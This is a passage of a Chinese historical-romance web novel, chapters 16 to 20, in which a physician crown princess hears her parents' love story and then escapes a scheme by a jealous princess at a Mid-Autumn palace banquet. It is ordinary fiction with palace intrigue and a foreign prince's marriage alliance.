等热气完全散开之后,白雪才看向锅里蒸的药材,找了一块抹布,把盆端上来,找了一块干净的纱布,把药渣过滤掉,只剩下药汁。
白雪在过滤好的药汁里加入蜂蜡,直至融化、搅拌均匀,待冷却后分装成小盒,整整分装了十小盒。
白雪分成两份,把其中一份交给栖霞,“洁面后,涂于伤口处即可。”
栖霞:“奴婢明白了。”
翌日清晨,天刚蒙蒙亮。
白雪辗转反侧,摸了摸床上找着裴宴景的身影,却摸到床上的余温,睁开眼,睡眼朦胧的环顾四周,终于看见即将走出房间的裴宴景,“你去哪?”
裴宴景闻声转头,扔下一句“急事。”便走出房门。
急事?
今日中秋节,白雪也睡不着觉。
定安侯府小院,白雪看见陈溪岚孤独的坐在院中,端起一根小板凳,把板凳紧挨着陈溪岚的脚边放下,学着陈溪岚的样子,看向天上的月亮。
白雪指着天上一轮满月,“娘,月亮好圆啊。”
“像太阳一样。”
陈溪岚原本悲伤的脸庞,听到白雪这句话,瞬间绽放出一个微笑。
白雪听见娘亲的笑声,也跟着笑了起来,“娘,你笑起来真好看。”
陈溪岚一手揽着白雪小小的肩膀。
白雪:“娘,你能给我讲讲你跟爹爹的故事吗?”
这句话使陈溪岚陷入回忆,“好。”
那一年,杏花微雨。
陈溪岚着一身素色衣裙,单手撑着一把油纸伞,站在小船之上,远远的看见一男子,自己淋在雨中,却保护着怀里的东西,站着岸边一直看往来的船只。
陈溪岚轻声对穿着蓑衣的艄公说道:“艄公,能不能停靠岸边接一人。”
艄公:“可以,敢问小姐想要接谁?”
陈溪岚用手指了指那书生,艄公顺着陈溪岚手指的方向看去,“原来小姐要接的人是他啊。”
陈溪岚有些惊讶,她随手一指的人,艄公竟会认识,“您认识他?”
艄公:“当然。”
“他可是我们这一片的名人。”
“远近闻名的书呆子——白玉山。”
陈溪岚这才仔细朝白玉山看去,一袭青衫洗得泛白,身形单薄且修长,生得一副清俊书生模样。
船只渐渐靠岸,白玉山本想问能否让他搭乘一段距离,但看着船上除了艄公便只有陈溪岚一人,而且见她没有下船的情况,所以没有开口。
他认为孤男寡女通行一船,被人看见,会传出不好的消息,他作为男子倒无所谓,只是担心船上的美人,只得继续等待。
陈溪岚见他明明很想搭乘船,不知什么原因导致他没有开口,轻声说道:“白玉山。”
陈溪岚的声音在雨天显得有些空灵。
白玉山微微抬头,雨水顺着头发流淌,让他有些睁不开眼,但也足够他看清陈溪岚的面貌 。
陈溪岚青丝如瀑布一般,垂落腰间,发间仅插着一根木簪,质朴天然,白皙的皮肤,眉毛弯弯似月,眸含清波,山根秀挺,樱桃小嘴,瞧着一副温婉恬淡的样子。
白玉山肯定自己不认识此等女子,便问道:“你认识我?”
陈溪岚轻轻摇头,“不认识。”
“我想问你,要乘船吗?”
白玉山见没有船只搭乘他的意思,况且美人都已经开口,自己再墨迹就说出过去,斩钉截铁道:“要。”
几日后,陈溪岚走在路上,听见一道声音叫她的名字,回头看去,只见白玉山拿着一本书,看见她回头,立马挥手跑上前。
白玉山惊喜说道:“真的是你。”
“我还有些担心自己认错了人。”
白玉山才看见陈溪岚挎在手上的竹篮,竹篮被蓝色的布遮住,“我帮你拿。”
陈溪岚退后两步:“不用。”注意到白玉山有些受伤的表情,解释道:“这里面的东西,对我来说很重要。”
“你去哪?”
白玉山恢复笑容,“我准备回家。”
“你呢?”
陈溪岚:“我也是。”
两人并排走在一起,脚步也变得同步。
“啊!”
一声尖叫,吸引了两人的注意。
“快来人啊!”
陈溪岚循着声音找去,在木制亭子下看见,身怀六甲的女人坐在地上,背靠着墙壁,在她身下已经有些许的血迹。
陈溪岚立马跑到女人身边,观察了一下女人,“我是一名女医。”
“你是不是快生了?”
在这种天气女人的额头上全是豆大的汗珠,女人喘着粗气,点了点头。
白玉山跟了过去,见是一个身怀六甲的女人,又立马背过身去。
陈溪岚环顾四周,周围站着全是人,深知此地不是最合适的选择,但女人这看着马上就要生的样子,又不得不在这里进行生产。
但幸运的是木制亭子里面有一块布,虽然一些脏,陈溪岚打开看了看,没几处破洞,勉强可以用,长、宽、高也够。
陈溪岚对周围的人说道:“恳请各位给她留出一点空间。”
“能不能来几个女人,帮我把这块布撑起来,挡住她。”
“还有……谁有布、剪刀,还要打一盆热水来。”
周围的人,一听陈溪岚这话,立马一哄而散,独独留下四名女子和白玉山,替女人撑起布。
白玉山愣了几秒,说道:“我去替你找这些东西。”
陈溪岚没有布、剪刀和热水,就如巧妇难为无米之炊。
但很快那些人又回来了,有的人手里拿着剪刀,有的人拿干净的布,有的端着一盆热水,几人相视而笑,纷纷说着:“你也来了?”
“你不是也来了吗?”
“做好事怎么能没有我。”
……
陈溪岚听见声音走出来,看见站在面前,每个人手里都拿着她需要的东西,脸上浮现出安慰的笑容,“行。”深深鞠了一躬,“我替她谢谢你们。”
一声婴儿啼哭声响起,周围的人都露
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出了笑容。
陈溪岚抱着婴儿走出来,“生出来了,谢谢大家。”
白玉山什么也没借到空手而归,垂头丧气的走到周围,便听见陈溪岚说孩子出生的消息,激动的快走几步,被身后赶来的人撞倒。
白玉山见那人头也不会的往前跑,心想他肯定有急事,站起身拍了拍身上的尘土,也跟着跑了过去。
撞倒白玉山的男人名叫陈大山,他是被人通知赶来的,看见陈溪岚抱着的孩子,跑过去,“溪娘…溪娘。”
身怀六甲的女人听见声音,虚弱的看向声音的方向,脸上浮现出一抹释怀的笑容。
陈溪岚看向来人,“里面是你的妻子?”
陈大山焦急的点了点头,看向陈溪岚,见她抱着孩子,“她怎么样了?”
“这是我们的孩子?”
“他是男娃吗?”
陈溪岚警惕地看向他,“你们有人认识他吗?”
其中一名头发花白的老头,仔细的看了看陈大山,“这不大山吗?”
“里面那产妇是你家那位?”
陈大山看向老头,“张伯。”
“里面真的是我妻子。”
“她叫李溪水。”
陈溪岚这才放下戒备心,“你去看看她吧。”
“她刚生产完,有些虚弱。”
“孩子是男娃。”
陈大山走进去,见她只是有些虚弱,没有大碍,这才放下心来。
陈溪岚对举着布的几名女子说道:“可以了。”
“今日多谢你们了。”
几名女子纷纷说道:“不用。”
“能够帮助到别人是好事。”
“我也要谢谢你,今天若不是你的话,我估计那产妇,十有八九会难产。”
等人都散去,陈溪岚挎上自己的竹篮,一回头见白玉山站在原地,笑容灿烂露出八颗洁白的牙齿。
一阵风吹过,吹乱白玉山头发,同时也吹动了他的心。
陈溪岚眼神惊喜,走过去说道:“你怎么还在?”
白玉山:“等你。”
白玉山觉得自己说得太过直白,解释道:“哦,不是,我是想问你还需要帮忙吗?”
陈溪岚:“不用。”
“我准备回家了。”
白玉山:“我也是。”
“你是一名女医?”
陈溪岚羞涩的点了点头,“嗯。”
“但是好多人都喜欢找男医看病。”
时间很快过去,白玉山背着箧笥,同陈溪岚告别道:“等我回来,娶你为妻。”
陈溪岚眼含泪水,“嗯。”把手里这些年替人治病,攒下的钱统统都放在袋中,拿给白玉山,“我等你。”
“这是我替人治病,攒下的钱,你拿着路上用。”
白玉山与陈溪岚推辞了一番,终究抵不过陈溪岚,收下,“你等我回来。”
“等着我金榜题名的时候。”
“一定回来娶你。”
陈溪岚看着眼前人,重重的点了点头,“我等你。”
白雪看向陈溪岚,摇了摇陈溪岚的腿,“娘,后来呢?”
陈溪岚又陷入了回忆,“后来……”
17. 中秋2
十里长街,热闹非凡。
陈溪岚站在众人身后,耳边是喜气洋洋的喇叭声。
陈溪岚好奇的问身旁人,“这是谁家的喜事?”
身旁人:“白家出了个探花。”
陈溪岚:“白家?”
“白玉山?”
身旁人:“你认识他?”
陈溪岚没回答,因为她看见了骑在马背上,一脸春风得意的白玉山。
陈溪岚就那样站在原地看着,直到白玉山骑着马从她身旁行过,她也没有开口叫住白玉山。
白雪打断回忆,问道:“娘,您为何不叫住爹爹?”
为何?
因为她看见了白玉山挂在腰间处的香囊,那香囊定是出自女子之手。
陈溪岚看向白雪:“如果我叫住他。”
“然后呢?”
白雪挠挠头,思索片刻,“然后,爹爹与娘亲快快乐乐的,永远生活在一起呀。”
陈溪岚笑着抚摸白雪的头,笑着笑着眼泪掉了下来。
白雪:“娘,你怎么哭了?”
陈溪岚抚摸着脸庞,摸到脸上湿润的泪痕。
是啊,她怎么哭了?
……
肖玉早已等在书房内,裴宴景刚一走进书房,便听肖玉道:“太子,谷杭出事了。”
“什么事?”裴宴景冰冷的眼神如刀落在肖玉身上,肖玉不自觉打了个寒颤。
肖玉:“今早祁越左等右等不见谷杭出现,立马去他房里,却发现房间里空无一人。”
裴宴景:“我知道了。”
“多派些人手,务必要把他找到。”
裴宴景看了一眼肖玉,吩咐道:“你也一起去找。”
与此同时,白雪洗漱完毕,心血来潮想起那盆被她浇过的花,叶子枯黄了几片,白雪仔细观察了片刻,发现在最不起眼的地方,绽放出了一朵粉色的小花。
“你在看什么?”
白雪听见裴宴景的声音,回头说道:“我在看花。”
裴宴景走近,“哪里?”
白雪指着她刚刚发现的那朵花。
裴宴景看着白雪说道:“挺漂亮的。”
不知是在说花,还是说白雪。
白雪:“我也觉得。”
“中秋宴会什么时候开始?”
裴宴景:“日落时。”
“大概在酉时。”
白雪看了眼天色,现在还是清晨,距离晚上还有一大半的时间,想起裴宴景的脸色似乎比之前好很多,问道:“你身体感觉怎么样?”
裴宴景坐在椅子上,说道:“感觉好多了。”
“你要替我把把脉吗?”
白雪本打算问问就行,听闻此话,把把脉也行,走过去替裴宴景把脉。
脉细如线,应指明显,此为细脉,寓意着裴宴景体内气血两虚、湿邪内阻。
白雪轻声道:“毒已消散殆尽,只是身体还有些虚弱,需要好好补补,但不宜大补,得缓慢进行。”
裴宴景:“听你的。”
白雪:“等你身体恢复,我们便和离罢。”
裴宴景对此有些惊讶,他不知为何白雪会如此想,厉声道:“不行。”
白雪不明白,和离对他们俩都好,本来两人都无感情,而且她想做的事,她不想让别人替她承担责任,惊讶道:“为何?”
裴宴景感觉刚刚太过严厉,语气平缓了许多,说道:“你既已嫁给我,我们俩便携手同进,至于和离,我不想再听到这个词从你嘴里说出来。”
白雪看着他,见他语气认真,眼神坚定,不知怎么就想要相信他一次,说道:“好。”
白雪跟随裴宴景来到中秋晚宴,这是她第一次参加这种宴会。
宴会上,每个人都尽力打扮得漂漂亮亮,白雪看见之前御和楼看见的两名女子,她们两坐在最角落边,手里拿着一个九通锁在玩,另一个女子在教她。
除了她们俩,每个人都在广交好友。
裴宴景与白雪出现在宫宴上,便吸引了众多的目光。
纪云峰本在与人寒暄,看见两人后,本想立即丢下其他人过去,突然察觉到一道目光,余光看去发现是二皇子裴筠,思考一会儿,与旁人继续寒暄。
白雪回过神,看见与人寒暄的纪云峰。
是他?
裴宴景察觉到白雪轻轻动了动胳膊,小声问道:“怎么了?”
白雪:“买我祛疤膏的那个人。”
裴宴景看了一眼纪云峰,“没事。”
“现在人多眼杂,不用管他。”
白雪:“好。”
白雪看着面前的人,这些人她一个也不认识,他们说的话大多是奉承。
白雪云游天际,一个字也没听。
直到耳边传来裴宴景的声音:“你要不要先过去坐。”
过去坐?
哪里坐?
白雪回过神,疑惑的看向裴宴景,许是她的眼神太过直白,裴宴景对身旁的丫鬟道:“带太子妃过去落座。”
白雪看了眼丫鬟。
好生眼熟,是昨日欺负栖霞的领头人。
白雪:“你叫什么名字。”
雪落像没听见一般,白雪又问了一次:“你叫什么名字?”
白雪见她打了个寒战,才回道:“回太子妃,奴婢名为雪落。”
白雪好奇询问:“你怎么了?”
雪落:“没…没事。”
白雪奇怪的看了她一眼,见雪落不说,白雪也没有兴趣知晓她为何这样,环顾四周内心有些奇怪,怎么感觉越走越偏辟,“你要带我去……”
话未说完,白雪被一宫女撞到,宫女手中的酒洒在白雪身上,宫女立马跪在地上,“对不起,对不起,求贵人原谅奴婢。”
白雪立马看向被洒酒的衣裙,刚想开口,身旁的雪落先她一步,呵斥道:“瞎了你的狗眼,竟敢冲撞我们太子妃。”
白雪:“无事。”
“带我去更衣。”
白雪注意力都在衣裙上,没注意到雪落与那名宫女交换神色。
宫女起身:“奴婢立马带太子妃去更衣。”
这一幕被白雅琴看见,虽然疑惑但没发声。
纪璇:“你妹妹无论在哪,都如此的不安分。”
“娘这身打扮可以吗?”
白雅琴看了眼纪璇身上的服饰,这一路上她已经被问了无数次,无奈道:“可以。”
“娘,您打扮这么隆重干嘛?”
纪璇白了她一眼,“
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这你就不懂了。”
“这不叫隆重,而是因有的尊重。”
“你到底懂不懂?”
“懂。”白雅琴挽上纪璇的胳膊,讨好道:“娘,女儿都明白。”
纪璇见她这样就是没听进去的模样,“算了,跟你说了也是白说。”
白雪跟着宫女走到更衣室,她刚踏进更衣室,身后便传来关门声,白雪立马转身拉门,门一动不动,被人从外面闩上了。
屋里弥漫着浓郁的香气,白雪立马屏住呼吸,从袖中掏出手帕掩住口鼻。
这是欢宜香的味道。
白雪自认为自己从不与人结怨,究竟是何人用如此歹毒的手段?
脑中回想起那日御和楼之事。
不会吧?
那公主的气性竟如此之小。
算了,现在不是想这些的时候,还是思考该如何从屋内逃离。
白雪目光落在窗户上,窗户都是禁闭的,白雪抱着试一试的心态。
万一呢?
没有万一,白雪一扇窗户也没打开,陡然听见门外发出声响,思考该如何躲藏。
然而屋子里除了床,就只剩下桌椅板凳,哦还有煤油灯和香炉。
这不是更衣室吗?
怎会如此潦草。
白雪一时想不明白,但屋外的人快要破门而入了,时间也不容她想明白。
最危险的地方,就是最安全的地方。
白雪快速的拿起香炉,躲在门后。
与此同时,裴宴景回到座位上却没看见白雪的身影,朝一旁发呆的雪落问道:“太子妃呢?”
裴宴景见雪落打了个冷颤,立马发觉不对,环顾四周都没看见白雪的身影,而此时裴静姝却对众人说道:“趁父皇、母后还未到,我请众人看一出好戏。”
裴宴景冷冷的看向雪落,仿佛在看一个死人,扔下一句,“你最好祈祷太子妃没事。”便离开了。
雪落立即瘫软在地,她没想到太子竟然如此在乎太子妃。
众人纷纷附和道:“什么好戏啊?”
“是赏花?”
“还是看跳舞?”
裴静姝:“众人请随我来。”
门开,白雪举起香炉砸向进屋的人。
“太子妃。”
怎么会是栖霞的声音?
白雪的动作停在距离栖霞的头零点几厘米的位置,惊讶道:“栖霞,怎么是你?”
栖霞回头看见白雪举着的香炉,松了口气的同时关心道:“太子妃,您没事吧?”
白雪:“栖霞快屏住呼吸。”
栖霞虽然不理解,但还是照做。
白雪把香炉放回原位,牵起栖霞的手,待走出屋子,才问道:“你怎么知道我在里面?”
栖霞:“奴婢看见您走得好好的,那宫女却故意撞向您,把酒洒在您衣裙上,奴婢担心您出事,本想立即叫住您,怎料看见有一位贵妇人带着女儿看向您的方向,这一耽误奴婢便没出声,等那两人走后,才悄悄跟上来,正好听见屋里拉窗户的声音,奴婢猜想可能是太子妃您,走近看见门被闩上,但那锁却没落,奴婢便开门进来,发现您果然被困在里面。”
白雪和栖霞刚走进旁边的房间,一猥琐的男子悄悄走进之前的屋子。
18.中秋3
这间房就比刚刚那一间要多许多东西,最基本的衣柜、屏风这些东西都是有的,但里面的衣服没有一件适合白雪,她虽然最近吃得比以前好很多,但她肉也没涨多少,倒是胸部日渐圆润饱满。
白雪:“栖霞,你…”
话未说完,门便被打开,栖霞立马将白雪护在身后,眼睛死死的盯着门口。
裴宴景神色未变,但急切的动作却暴露了他内心的慌乱,他也不知道自己为何这么怕白雪出事,他想或许是因为他的毒只有白雪能解,即使她说自己的毒已经差不多完全解了,但他说不出的心慌,当看见被栖霞保护在身后的白雪时,心才彻底放下。
栖霞立马让开位置,行礼道:“太子。”
裴宴景大步流星走向白雪,将她拥入怀中。
白雪懵懵的被迫接受这个拥抱,从裴宴景开门到进屋抱住她,也不过是一瞬间的事,白雪不明白他是怎么知道自己在这的,“你怎么知道我在这?”
裴宴景这才放开白雪,说道:“我回到座位,没看见你,担心你出事。”
白雪指着被洒了酒的衣裙,说道:“我衣裙被洒了酒,宫女带我来换衣服。”
裴宴景环顾四周道:“那宫女呢?”
白雪:“我刚进屋子便被她锁在屋里,还好有栖霞,我才能从那屋里出来。”
白雪寥寥几语,再加上之前裴静姝的话,便让裴宴景想通其中缘由,裴静姝竟敢动他的太子妃,看来是真不把他当回事了,还是裴静姝以为他死亡是迟早的事,但不管是什么原因,裴静姝已经把裴宴景得罪了。
裴宴景神色太过严肃,白雪以为他是在生自己的气,轻轻拉了下裴宴景的衣袖。
裴宴景回神道:“那房间在哪?”
白雪指了指隔壁道:“房间里有欢宜香。”
“你先把衣服换了,其他事交给我。”说完,裴宴景便走出房间。
与此同时,裴静姝带着一群世家贵族的夫人、小姐们朝这边走来。
青岚手中拿着九通锁和赵清懿并排走,好奇的问道:“公主带我们看什么好戏?”
无非是一些腌臜事,除此之外赵清懿想不通还有何事,不过是让她们看个热闹而已,赵清懿对此事毫无兴趣,跟来不过是因为大家都来了,而她没来就很显眼。
但赵清懿不想把这种事告诉青岚,她觉得会污了青岚耳朵,说道:“我也不清楚。”
还没走近,众人便听到了淫|秽的声音不觉入耳。
没结婚的小姐们大都害羞此事,更有甚者脸红耳热,不敢再进一步。
其中一名贵妇人带着女儿,女儿看起来不过五、六岁的模样,她捂着女儿耳朵,心生不满,但在不满也不敢顶撞公主,只得小心询问道:“公主,究竟是什么好戏?”
“竟如此不堪入耳。”
裴静姝从那些声音里听到了熟悉的声音,但她本能的没当回事,内心还有些激动,没想到那女人看着老实本分,行床榻之事却如此淫|荡,不过,她怎么没听见那女人的声音,这念头只出现一瞬,下一秒便被她抛之脑后,朝素心使了个眼神,暗示她去开门,对身后众人说道:“大家别急,好戏马上开场。”
随着裴静姝的话音落下,门被素心打开,众人看见房间里的情形,尖叫声此起彼伏地响起,带着女儿的贵妇人立马遮住女儿的眼睛,唯恐被她们看见里面的情形。
屋里的人听见尖叫声看向门口想停止动作,可身体却不容许他们离开,理智只存在一瞬间,下一秒心里便涌上一股莫名的兴奋,动作与之前相比也更大了。
裴静姝看清屋里情况,笑容僵在脸上,谁来告诉她,为什么她最喜欢的几个面首会在里面!
究竟是谁做的这一切!
那个女人呢?
她去哪里了?
这些念头在她脑海里萦绕,直到身旁有人说:“这不是公主养的面首吗?”
裴静姝立马怒吼道:“谁?”
“刚刚是谁说的,给我站出来。”
众人纷纷推辞表示不知道、不清楚、不明白。
众人不敢开口,不代表没人听见,裴静姝的形象在贵妇人眼里一落千丈,养面首你偷偷养当然可以,但这些东西不能被外人发现。
有人发现这里少了个人,便问道:“太子妃呢?”
此话一出,便如平静的湖面被丢下一颗石头,泛起层层涟漪,有些心思细腻之人,纷纷明白公主之举意在何为,但不知为何临了却变成了公主的面首,有的心思活法的人却明白这肯定是因为公主动了太子妃,引起太子的不满,但不管真相如何,这些话谁也不敢说出口。
没人开口说话,场面尴尬到不行。
“你们在找我?”
众人纷纷回头,只见白雪穿着素色衣裙,站在众人身后,虽然衣裙素却衬得她清冷淡雅,不失大方,有人看看太子妃,又看看永宁公主,太子妃的气质把永宁公主的气质衬托得淋漓尽致,永宁公主的形象在众人眼中仿若小丑一般。
永宁跪在地上,皇上裴松与皇后杜若华坐在主位上,众人都坐在自己的位置上,原本应该喜气洋洋的气氛却变得如此的紧张、尴尬,此时此刻,唯一没被这气氛影响的可能就只有太子——裴宴景。
裴宴景拿起桌上他认为好吃的糕点放到白雪面前,说道:“尝尝这个。”
白雪看向面前的糕点,晶莹剔透的叶片形状,就连叶片的每一根脉络都清晰可见,内心不禁感叹道:这皇宫里的厨师就是不一样,连这么简单的糕点也能做出不一样的视觉效果,就是不知道这味道如何。
白雪拿起一旁的羹匙,内心思考究竟从哪里开始,才能不破坏掉它原有的形态,思考半天也没想出来,从边缘处轻轻挖了一小块,放进嘴里,怎么是薄荷的味道,这味道在炎炎夏日吃,也不失为一种享受。<
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耳边传来哭喊的声音,白雪抬头目视前方,只见几名男子被人拖上前来,那些男子纷纷看向公主,嘴里叫喊着:“公主求您救救我们,我们不是自愿的,是被害的。”
裴静姝自己本就在水深火热之中,谈何容易来救他们,本就是泥菩萨过河,自身难保,只是她不理解为何父皇母后今日会如此生气,在她心里太子妃不就是一个被抛弃、放弃的女子吗?就连太子也早已被父皇母后放弃,要不是结婚后,裴宴景的身子越来越好,她相信这两人早就不知魂归何处了。
杜若华心里对裴静姝今日的动作了如指掌,就连皇上裴松都是她尽力拖住,他们两人才会晚到宴会现场,只是她没想到裴静姝竟然如此没用,不仅没害到太子妃白雪,连自己养面首的消息都被众人所知,真是丢皇家的脸面,丢她的脸,杜若华此时恨不得把裴静姝送去和亲。
裴松睥睨的看了眼身旁的杜若华,小声道:“这就是你带出来的公主,今日我的脸都被她丢尽了。”这才大声对众人道:“今日之事,让各位看笑话了,那几个不知天高地厚的浑小子竟敢在今日这样喜庆的日子里这般猖狂,看来是不把我放在眼里。”
裴松语气轻蔑地说:“来人,丢下去喂狗。”
很快,那几个人便被拖了下去,仍他们喊破喉咙也没人搭理,唯有在他们身旁的裴静姝,心里害怕到极点,她左等右等也没等到父皇对她的处罚,心里不禁松了口气想:还是母后厉害,连父皇都被她拿捏得死死的。
苏公公对裴静姝说道:“哎哟,我的永宁公主,您还跪在这干嘛?”
裴静姝看了眼父皇母后的位置,见两人都没看她,而是看向她的身后,她转头看去,只见一群舞姬正在朝她走来,她立马站起身离开。
随着音乐的节奏、舞姬的舞蹈,之前的气氛消失不见,众人脸上又恢复正常,开始谈笑风生。
白雪面前的那碟糕点在她不知不觉间就吃完了,白雪感受到一股阴冷的目光,朝目光望去,只见裴静姝正死死的盯着她。
裴宴景也发现了,小声对白雪道:“放心,她很快就笑不出来了。”
白雪不明白,疑惑的看着裴宴景道:“为何?”
裴宴景笑而不答,从桌上又选了几样好吃的,放在白雪面前。
白雪对他这不明不白的笑容表示疑惑,什么意思?怎么只笑不说话,还给她拿这么多好吃的,究竟是什么意思?认为她太瘦了?
算了,不管了,左右那目光现在对她没有任何的威胁,还不如面前这一碟又一碟的好吃的吸引她。
不过,对面那个男人为何一直盯着她?
裴宴景的声音在她头顶响起:“他是裴筠,我的弟弟——二皇子。”
原来他就是二皇子啊,长得也不怎么样嘛,在白雪看来,还不如身旁这个病弱的裴宴景好看,真是不知为何她亲爱的嫡姐会用如此爱慕的眼光看向裴筠。
19.中秋4
白雪:“他和我嫡姐什么关系?”
裴宴景惊讶于白雪的敏感,不过是告知她裴筠的身份,便猜出两人有关系,但裴宴景还未开口,又听到白雪说道:“算了,别告诉我。”
白雪才不想知道那么多皇家秘事,更何况他们两人的关系如何,这不是明摆的嘛,肯定有私情,但不管是什么关系,都对她来说没有面前这些吃的来得有吸引力。
白雪在裴宴景心里,又多了一个代表词——通透。
苏公公走到裴宴景身边,俯身在他耳边问道:“太子,皇上问您那人什么时候出现。”
裴宴景看了一眼坐在主位上的裴松,对苏公公小声说道:“现在。”对上白雪好奇的目光,说道:“我有事出去一趟,你自己小心点。”
白雪点点头,看着裴宴景离开的背影,心里不禁感叹道:他还是之前躺在床上舒服,现在整日都忙忙碌碌的,也不知道究竟在忙什么,幸好没人管她做什么,她想睡就睡,想吃就吃……
嗯~这个不错,下次让厨房的人做给她吃!
突然停下的音乐吸引了白雪的注意,什么情况?她抬起头看见面前的舞姬们纷纷朝外走去,不过她们好像都绕过中间往外走,中间究竟有什么?
没让白雪等多久,待最后一名舞姬走过,那人的脸渐渐露出来,长了一张异域风情的脸,高挺的鼻梁、深邃的眼眸、浓黑的眉毛,真帅。
裴宴景回到座位上,见白雪眼睛一直盯着谷杭看,连他自己都不知道自己吃醋了,温柔的问道:“你在看什么?”
虽然裴宴景的语气很温柔,但白雪总感觉自己好像浑身蚂蚁在爬一样的不自在,讪讪一笑:“我看那男子长相和我们不一样,有些好奇。”
此话一出,裴宴景瞬间满意,他还以为白雪是觉得谷杭帅气,原来是觉得长相和他们不一样,那就不意外为何白雪一直盯着谷杭看,“他来自姑墨。”
姑墨是哪里?听起来想吃的,没想到是个地名,白雪好奇的问道:“姑墨在哪里?”
裴宴景:“姑墨人生活在辽阔的草原上。”
原来是这样,不过草原上如何生活?白雪想不明白,干脆就不想了。
白雪抬头看见裴筠原本笑脸盈盈的脸瞬间变冷,脸身边的空气都冷了几分,她看见裴筠身边的人搓了搓手臂,这人什么情况?为何对谷杭的出现这么大的反应???
谷杭看了眼冷脸的裴筠,对皇上、皇后行了一个他们草原上的礼仪。
裴松抬手道:“免礼。”
“赐座。”
谷杭谢过皇上,径直走到安排的座位上,还好有裴宴景,不然他能不能活着出现到宴会上都是一个未知数,这般想着,他又想起了这两天发生的事。
打斗声响起,谷杭睁开双眼,看见一神秘男人和这些黑衣人打了起来,悄悄松了口气,想溜边逃跑,岂料一把飞刀咻的一下从他耳边擦过刺入土中,谷杭看了一眼飞刀与他的距离,若他在向前一步那刀可能就插在他脑袋上了,瞬间谷杭不敢再往前走一步。
幸好是那男人打赢了,他走了过来从土里取出那把飞刀,谷杭知道自己打不过他,战战兢兢问道:“你叫什么名字?”
“不会也是来杀我的吧?”
祁越没见过这么胆小的人,疑惑的看了他一眼说:“祁越。”
“奉命保护你。”
就这样,谷杭跟着他赶往京城,住宿也只敢在官驿住宿,偏辟一点的地方,谷杭都不敢去,没有其他想法,只因谷杭怕死。
离到京城也不过二十几公里,谷杭不敢在赶路,硬拉着祁越休息。
谷杭还未睁开双眼,便察觉到一股凌厉的气势朝他袭来,他借力朝旁边滚下床,躲过攻击,看清来人穿着夜行衣,什么意思,现在不是清晨吗?
谷杭看了一眼窗外,没错啊,现在是清晨,谷杭顺势从从窗户跳出,滚落一圈站定,看向窗户那人站在窗户前看着他,嘴角微微上扬,谷杭感觉自己掉入坑底了,来不及细想那人究竟什么意思,也来不及细想祁越知不知道他被偷袭了,他认为此刻还是保命要紧,径直朝外面跑去。
刚跑出驿站不远处,便被一伙人拦住,谷杭想往后跑,之前在屋子里那黑衣人拦住他的后路,瞬间明白过来几人是故意的,故意用计谋把他骗出驿站,在此地埋伏,谷杭也不跑了,大声问道:“我究竟得罪了谁,非要置我于死地。”
没人回答他,或者说几人用拳头回答了他的问题,谷杭哪是这些人的对手,打了没多久谷杭自认不是对手,又用之前的猴子荡秋千的招式,将几人溜了几个时辰,最终还是被抓住,黑衣人举起手中的匕首,对他说:“下辈子再回答你那些问题。”说完,手中匕首就要朝他脖颈处袭去。
咚的一声,石头击中匕首,黑衣人手中的匕首短成两截,刀片飞出去嵌入树体,“谁在那里?”黑衣人回头什么都没看见,只看见一片树林。
祁越从树后走出来,笑道:“想杀他,怎么不过问我?”
黑衣人没想到祁越竟然这么快就赶来了,神色一凌,他没想到祁越这么快就找来了,黑衣人扔下一句,“上。”纷纷朝祁越攻去,只留下黑衣人和擒住谷杭的两人,未免再被祁越打断,黑衣人立马就要杀死谷杭。
说时迟,那时快,再次被打断,不过这次不是祁越,而是肖玉,肖玉双脚勾着树干,倒挂在树上看着他,笑道:“怎么?”
“非要杀他不可?”
此刻,在黑衣人眼中,肖玉和祁越都像裴宴景一样,如鬼魅般出现,而裴宴景是半只脚踏入地狱,却硬生生的活了下来。
黑衣人真的想骂娘,早知道当年他无论如何也要拜倒在裴宴景名下,他肯定会有属于自己的名字,而不是像现在这样,只能被叫作黑衣人,黑衣人悲壮的朝肖玉袭去。
想
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到这里,谷杭非常想看裴宴景身边坐的女人,究竟是怎样的女人?竟会让裴宴景心甘情愿的娶她,但谷杭硬生生忍住了此刻的好奇心,只因来之前便被告知,不要透露出他是被裴宴景救下的任何信息,虽然他不明白这是为什么,但他照做便是。
而此时谷杭想知道的女人却在吃着糕点,不经意间问了一句:“你和他认识?”
白雪一句没头没尾的话,换个人不一定知道她说的是谁,但裴宴景就是知道白雪说的是谁,内心泛起一阵涟漪,他没想到白雪竟如此聪明,若他不知情的话,或许连他自己都看不出来,自己和谷杭认识,问道:“你怎么知道?”
白雪品尝着糕点的味道,这个不太行,有些噎得慌,喝了一口水说道:“直觉。”
直觉?女人的直觉真可怕,裴宴景这样想着,没有继续开口说话,而是看向坐在主位的皇上。
裴松虽然笑着的,但给人的感觉却是不怒自威的样子,问道:“你叫什么名字啊?”
谷杭见无人说话,且是看着他说的便道:“我叫谷杭。”
裴松:“来京所为何事?”
谷杭:“和亲。”
此话说到裴松心里,他明明知晓谷杭来京为了什么,却故意要让谷杭自己说出口,若不是今晚出了那样的事,这和亲之事裴松是不会提的,但就是出了那样的事,谷杭才没有被杀,而是活着站在这里。
裴松看了眼裴静姝道:“哦?”
“说说你认为我凭什么答应你提出的和亲要求。”
谷杭当没看见裴松之前看向别人的眼神,谷杭知道裴松愿意和亲,但为什么会问他这个问题?
谷杭想裴松肯定是不愿意女儿远嫁异国他乡,谷杭不管裴松怎么想,反正他自己是不愿意的,他现在是前有狼后有虎,唯一幸运的可能就是他拥有了一个谋友——裴宴景,不过现在他还不想回姑墨,当他再次回去的时候一定是有能力成为姑墨王的时候,
谷杭回道:“我可以留在京城,不回姑墨。”
裴松:“静姝。”
裴静姝心里咯噔一声,立马站起身,走上前行礼道:“父皇。”
裴松:“将你嫁给谷杭如何?”
裴静姝这才正眼看向谷杭,她虽明白自己不答应也得答应,更何况谷杭样貌不输给她府中那些面首,比那些面首多了几分男子气概,宽厚的肩膀、呼之欲出的胸襟,就是不知道这谷杭床上功夫如何,但无论是谷杭的样貌,还是他的身材,裴静姝都非常满意,“儿臣但凭父皇做主。”
这回答令裴松心情好了几分,“好。”举起酒杯对众人说道:“今日难得高兴,大家一起举杯同庆。”
白雪也跟着众人一起举起手中的酒杯,喝了一口,嘶~好辣,好烧心,白雪没想到酒这么难喝,早知道就不喝酒了。
裴宴景注意到白雪的动作,倒了杯热水递给白雪,“小心烫。”
20.中秋5
白雪点点头,小心翼翼试探着喝了几口,感觉不怎么烫,便一口气喝完了,接下来的晚宴大多都是听音乐、看跳舞,白雪随着音乐的鼓点,不断点头,一下、两下……
白雪睡着了。
